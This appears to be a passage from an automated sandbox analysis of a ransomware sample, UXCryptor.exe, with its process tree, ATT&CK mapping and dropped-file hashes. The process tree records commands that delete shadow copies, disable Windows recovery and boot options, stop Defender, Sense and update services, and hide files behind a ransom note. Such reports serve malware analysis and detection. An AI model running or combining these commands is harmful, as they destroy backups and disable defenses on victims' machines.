- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Executes a command shell one-liner
  PID:5816
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:1492
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Executes a command shell one-liner
  PID:5060
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Executes a command shell one-liner
  PID:1880
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:3740
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:8688
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:940
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c wmic shadowcopy delete
  2⤵
  PID:4488
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config VSS start= disabled & sc stop VSS
  2⤵
  - Executes a command shell one-liner
  PID:3656
- - C:\Windows\SysWOW64\sc.exe
    sc config VSS start= disabled
    3⤵
    - Launches sc.exe
    PID:7000
- - C:\Windows\SysWOW64\sc.exe
    sc stop VSS
    3⤵
    - Launches sc.exe
    PID:7964
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config SDRSVC start= disabled & sc stop SDRSVC
  2⤵
  - Executes a command shell one-liner
  PID:1716
- - C:\Windows\SysWOW64\sc.exe
    sc config SDRSVC start= disabled
    3⤵
    - Launches sc.exe
    PID:3604
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled & sc stop WinDefend
  2⤵
  - Executes a command shell one-liner
  PID:6036
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:7588
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config wuauserv start= disabled & sc stop wuauserv
  2⤵
  - Executes a command shell one-liner
  PID:4800
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:6992
- - C:\Windows\SysWOW64\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:8152
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config Sense start= disabled & sc stop Sense
  2⤵
  - Executes a command shell one-liner
  PID:5420
- - C:\Windows\SysWOW64\sc.exe
    sc config Sense start= disabled
    3⤵
    - Launches sc.exe
    PID:8464
- - C:\Windows\SysWOW64\sc.exe
    sc stop Sense
    3⤵
    - Launches sc.exe
    PID:9100

C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
"C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe"
1⤵
PID:3632
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2772
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:6196
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:6624
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3972
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1648
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:8476
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1248
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:9052
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4288
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:6432
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D /S * & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @njRATseller OR discord pensiya88 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3816
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D /S *
    3⤵
    - Views/modifies file attributes
    PID:7316
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /f /im Explorer.exe
  2⤵
  - Kills process with taskkill
  PID:4084
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} advancedoptions false
  2⤵
  - Executes a command shell one-liner
  PID:3380
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {globalsettings} optionsedit false
  2⤵
  - Executes a command shell one-liner
  PID:2720
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  - Executes a command shell one-liner
  PID:5360
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  - Executes a command shell one-liner
  PID:4080
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Executes a command shell one-liner
  PID:5796
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:2616
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:6188
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  PID:4196
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c wmic shadowcopy delete
  2⤵
  - Executes a command shell one-liner
  PID:2456
- - C:\Windows\SysWOW64\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:7704
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config VSS start= disabled & sc stop VSS
  2⤵
  - Executes a command shell one-liner
  PID:4968
- - C:\Windows\SysWOW64\sc.exe
    sc config VSS start= disabled
    3⤵
    - Launches sc.exe
    PID:8100
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config SDRSVC start= disabled & sc stop SDRSVC
  2⤵
  - Executes a command shell one-liner
  PID:1940
- - C:\Windows\SysWOW64\sc.exe
    sc config SDRSVC start= disabled
    3⤵
    - Launches sc.exe
    PID:7712
- - C:\Windows\SysWOW64\sc.exe
    sc stop SDRSVC
    3⤵
    - Launches sc.exe
    PID:8696
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled & sc stop WinDefend
  2⤵
  - Executes a command shell one-liner
  PID:4224
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:8784
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config wuauserv start= disabled & sc stop wuauserv
  2⤵
  - Executes a command shell one-liner
  PID:5160
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:8144
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c sc config Sense start= disabled & sc stop Sense
  2⤵
  - Executes a command shell one-liner
  PID:2744
- - C:\Windows\SysWOW64\sc.exe
    sc config Sense start= disabled
    3⤵
    - Launches sc.exe
    PID:3876

C:\Windows\SysWOW64\sc.exe
sc config wuauserv start= disabled
1⤵
- Launches sc.exe
PID:8944

C:\Windows\SysWOW64\attrib.exe
attrib +h +s +r +i /D /S *
1⤵
- Views/modifies file attributes
PID:9176

C:\Windows\SysWOW64\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:6468

C:\Windows\SysWOW64\attrib.exe
attrib +h +s +r +i /D /S *
1⤵
- Views/modifies file attributes
PID:1140

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

$unlocker_id.ux-cryptobytes

Path C:\Users\Admin\AppData\Local\Temp\$unlocker_id.ux-cryptobytes
Size 6B
SHA256 5afc47748d0c7c8f67fb4521d4d2ddd3be3ad65f8ca86d3eb32c7222e22db82a
MD5 2216ecd717436fa5371390a88c2a029b
SHA1 d58a9b5452110ff5379604ad25fcdd50feb8c0c3
SHA512 d434c65ea5e8e72bdf4f9ff98c2f7588ad987d05a5413548c5cf65eb72bcb41a9413dceb594ec3eae6289d04ae7460bde2dd42bbe45d9c2516884fe2cd19bfec
MD5 SHA1 SHA512

Submit Download

UXCryptor.exe

Path C:\Users\Admin\AppData\Local\Temp\UXCryptor.exe
Size 14.8MB
SHA256 0cb04bbbe1ee02467ffaaeac01258d93bfd6c0ef010cc7e8f9e772b0bd05bfaf
MD5 69010217af4268d93c6120e5e82689c1
SHA1 040b1c4b373dd373adf4d2465b68eff5abeb3ade
SHA512 5a755d17aa684aa9051a6315f310409a0bd8757a4d2d58da1a0fac1359d171ed027a6ac766438439b2049693c205d371a00df7a15ecc0a3a0a73189dc383b55a
SSDEEP 393216:WiuU78LgqkbcTpsY5wn32/u5UnZMPaOYu:UgqSxJmusZMPnB
TLSH
T1FCF6236BE152770CD43DC13289819C285E61E44A19128D7BB63DCE8EB6323067FDB79E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ux_sc_5cb708b9101a4f98b13981a79ed1624d.jpg

Path C:\Users\Admin\AppData\Local\Temp\ux_sc_5cb708b9101a4f98b13981a79ed1624d.jpg
Size 132KB
SHA256 533ad9d9933dd5d142a2a7a54452e213437db7a359f61ec2a7426b1ff415cf7c
MD5 3ba7cf2a7a2bfa32b89f52eb52fa22a1
SHA1 914ed83f91c1a2fea189179e3ad6e9a6628d7d99
SHA512 d0b7f1dda4361d7fc65566483ac5d2ae3840d4f08b8d658e018f284341d3a8848f50fbfdecb1c1bfbf38f45c22a32e9e0d9dbdaf5c51254c13c7a5736c24af76
SSDEEP 1536:SZjjNZsSzhXvTp+8FZsJ6sOLFQ8/aSkvx7T1nKacGbCtYA27DfloIzj5G4bcXuP1:Ajj3LrZOiFQqa5XYYFvloIf5G4f
TLSH
T1A5D317439D1D9F539528D3A97F034EAD7B4A6B1C6E8232FE20250DDB7F646611C8A01F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ux_sc_6bfdae8ad0f347f7ba1f285a8804db9a.jpg

Path C:\Users\Admin\AppData\Local\Temp\ux_sc_6bfdae8ad0f347f7ba1f285a8804db9a.jpg
Size 36KB
SHA256 5970891e9a6b8bbf99aab9107a7a92a4353460c843bdec56ee0ef787a688de69
MD5 e497e0d24bc7f69a6bcf7465d15f61fe
SHA1 22a60ca09df9d0f0dd77000a7cb81c5b83ad6348
SHA512 a14587f8c2cb4cac8a210a4c7eef00cbe071987fd8822b3dc3398823f5ca0912a26b1e132e2db55d782418a82f4e55a1a64f44c82dd2127e676518469818922b
SSDEEP 96:SE4gLqtl4FIwQCwls/EitWYMcMgHfABmCbW+yAijCqIHNF4:SGG7ywls/8YMcABmCbbNYqc
TLSH
T16EF24B570651DFD3692CCBE27F035CD6AF97AB50A4153DE216A8479F3F8121750C490D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Desktop\info-Locker.txt
Size 99B
SHA256 9ef2b9ac106d5bc237e3bc9d4a89847e260eef880dbdf70355ff5ba17063c32c
MD5 1a39f20cc0f981b7003ea69d6aa3b18d
SHA1 ead0e082e9e2fb542a98accdecc95802fc62b4d1
SHA512 6343fbbd7697bf16731af7f2f2aefa6d722a00504fee9187820f1e95d4c2ec75e8851c2562c30ceb8406a85c478742f05becb28ac626e9d3c39b5edc0972bac3
TLSH
T1A5B012452C6CB68421D024F2BC31E4632BBD948DA11B24414110005700550E376DB81E
MD5 SHA1 SHA512 TLSH

Submit Download

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 99B
SHA256 9ef2b9ac106d5bc237e3bc9d4a89847e260eef880dbdf70355ff5ba17063c32c
MD5 1a39f20cc0f981b7003ea69d6aa3b18d
SHA1 ead0e082e9e2fb542a98accdecc95802fc62b4d1
SHA512 6343fbbd7697bf16731af7f2f2aefa6d722a00504fee9187820f1e95d4c2ec75e8851c2562c30ceb8406a85c478742f05becb28ac626e9d3c39b5edc0972bac3
TLSH
T1A5B012452C6CB68421D024F2BC31E4632BBD948DA11B24414110005700550E376DB81E
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 4KB
SHA256 71db5bce3e6d061f47475eb2cdfe6ca78a750f4e24b9a11b537dcdffe4f5198f
MD5 f17cce91195cbee36292e73c9219f9f1
SHA1 22505f3593f3d2101486d28ed380770db7d3e6f4
SHA512 a62637bc705c57b94243207c2255b9511ea544cdb59c6a19c1d656afcae07689c846ceef4eb7c00a83142989b41a3de37a7048ea175fc98e6aaebec17aa2b0e7
SSDEEP 96:ZBXB4BXBeBIBDBIBjBIByBIBgBIB2BIBjBIBbBIBqxBBBEBihBy5BCBZBKzBzBvU:ZBXB4BXBeBIBDBIBjBIByBIBgBIB2BI4
TLSH
T1E191EB661D73A23E6946E581A66486D8D9232374070EB458BD3F96E1770F30A84FF78C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 6KB
SHA256 8a1dcdb58bfc6121c6871cd56d80beb31f54c6733c91cb8c8327ace0d20c121c
MD5 9f49bfb0cb68a74b4f657a29785f65e3
SHA1 12232017c4ec8afcb7773161373f50506211d25c
SHA512 50e530f1818734171a35ac5f4cd83a85f66ea4c3fd9eb6ce0717e98f14a57de5ccf74dd1aabf80f6a58cbe3d6d9371b366a685a3c1a3ca690552535a64537f14
SSDEEP 192:ZBXB4BXBeBIBDBIBjBIByBIBgBIB2BIBjBIBbBIBqxBBBEBoB8BCBZBKzBzBvBjC:bx2xMGVG1GoGeGkG1GtG2DKmC4bGFJ1M
TLSH
T182D149661D33B23E6956DA81A66449C9D9233374070EB458793FA6E1770F30A84FFB8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 8KB
SHA256 de26cfd6e1df70e4a2b7c5aed8e3e3ed7ab76b2f5291ca7bb9d365fb8b64a201
MD5 69dd2d7bda17b5cd5af935a8653bcfbd
SHA1 faf620bf11d350b6b7ebe331af39905875972300
SHA512 eeec59290ade19b730f150602cbd201ede61bd06801071dcf2e102f15683554cc63168114b2dfec66fc818bd9b217f42871ca6860e3f437d4fb3ec3310427dba
SSDEEP 192:ZBXB4BXBeBIBDBIBjBIByBIBgBIB2BIBjBIBbBIBqxBBBEBoB8BCBZBKzBzBvBjG:bx2xMGVG1GoGeGkG1GtG2DKmC4bGFJ10
TLSH
T14702AB661D33B23E6956D681A62449C9D92333B4170EB458793FA6E5770F30A80FFB8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 14KB
SHA256 b1ca7815b5de4171cfd007754fc771dd7e7aab2bf2d08628edf4fe9448495f45
MD5 24b05b3a7066766e8a1eefe568e31adb
SHA1 c49498d0fee40ceefd7995ac93004d81ae260f4e
SHA512 b21eac579a60ec191e3929639580a602b82777091a7dbe99a2f0c231db482aef9745ec7edc0e680bdf9c752cea7723f254df8d034459de8d05c40c0ba127a917
SSDEEP 192:53gbq3gbq3gbHW1M/1LXwPBr3gbq3gbq3gbq3gbHO:53Iq3Iq3ILg3Iq3Iq3Iq3Iu
TLSH
T17962C729B1992EBB5C9446F9DFD038C26F8097794106A03795C4FDAFA279042F5B07CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagwrn.xml

Path C:\Windows\Panther\UnattendGC\diagwrn.xml
Size 17KB
SHA256 cd6ef82e11dc7151efa66f09450e94e358ce70ea695a8f27f1ad45d848994e66
MD5 6d0650543a8f302e4d2fa25e00ec9cfd
SHA1 a8693a237a76567a9f14cb3f7f8cbbbc89b34457
SHA512 22ee1061224209d443760dccaaf8436ff89a1f80b0bea33cb0d606f2edfee10b81eef6fb91e37bc823f4a956f2f03408ba942410fc4ffea14a58bcf0786148f6
SSDEEP 192:53gbq3gbECc8Ut893gbY3gbq3gbq3gbEtttttttj3gbEKg:53Iq3ILcc3IY3Iq3Iq3Ia3IW
TLSH
T1FD821A3CB1942EB75C5446E8CFE038C26B8097794116A037A5C5FEAFB279042E9B57CE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.xml

Path C:\Windows\SysWOW64\Recovery\ReAgent.xml
Size 1KB
SHA256 0f7d35d68a237b9c7d6d24c736e9a758761bb0840c113686b81e2ce33928ef65
MD5 7ba1a1ae453e18669377cbd6eb101109
SHA1 e57bd758fffefce630ab1399876f5c50e67c7804
SHA512 7060bf7aeeaeaf1fb85f427307463ca00f3050318f8630e08a92d7be9f0a4870d8c44c3323c9b81df6f1651ad8171009c0abde3b11f766da238c785f72ba05ff
TLSH
T11311AB4681B858A6C7B1D266F1F8BD60463FF1DD02E18A5CE029F7D39447452C75F970
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2480-23-0x00000000063D0000-0x000000000646C000-memory.dmp

Download

memory/2480-20-0x00000000746E0000-0x0000000074E9C000-memory.dmp

Download

memory/2480-53-0x00000000746E0000-0x0000000074E9C000-memory.dmp

Download

memory/2480-24-0x0000000006570000-0x00000000065C6000-memory.dmp

Download

memory/2480-22-0x0000000000AE0000-0x00000000019C0000-memory.dmp

Download

memory/3448-8-0x00000000746F2000-0x00000000746F3000-memory.dmp

Download

memory/3448-9-0x00000000746E0000-0x0000000074E9C000-memory.dmp

Download

memory/3448-21-0x0000000008BC0000-0x0000000008BCA000-memory.dmp

Download

memory/3448-0-0x00000000746F2000-0x00000000746F3000-memory.dmp

Download

memory/3448-7-0x0000000008340000-0x000000000834C000-memory.dmp

Download

memory/3448-6-0x00000000071B0000-0x0000000007216000-memory.dmp

Download

memory/3448-5-0x0000000005A00000-0x0000000005A16000-memory.dmp

Download

memory/3448-4-0x00000000746E0000-0x0000000074E9C000-memory.dmp

Download

memory/3448-3-0x0000000005A20000-0x0000000005AB2000-memory.dmp

Download

memory/3448-2-0x0000000005FE0000-0x000000000659A000-memory.dmp

Download

memory/3448-1-0x0000000000EB0000-0x0000000000ECC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads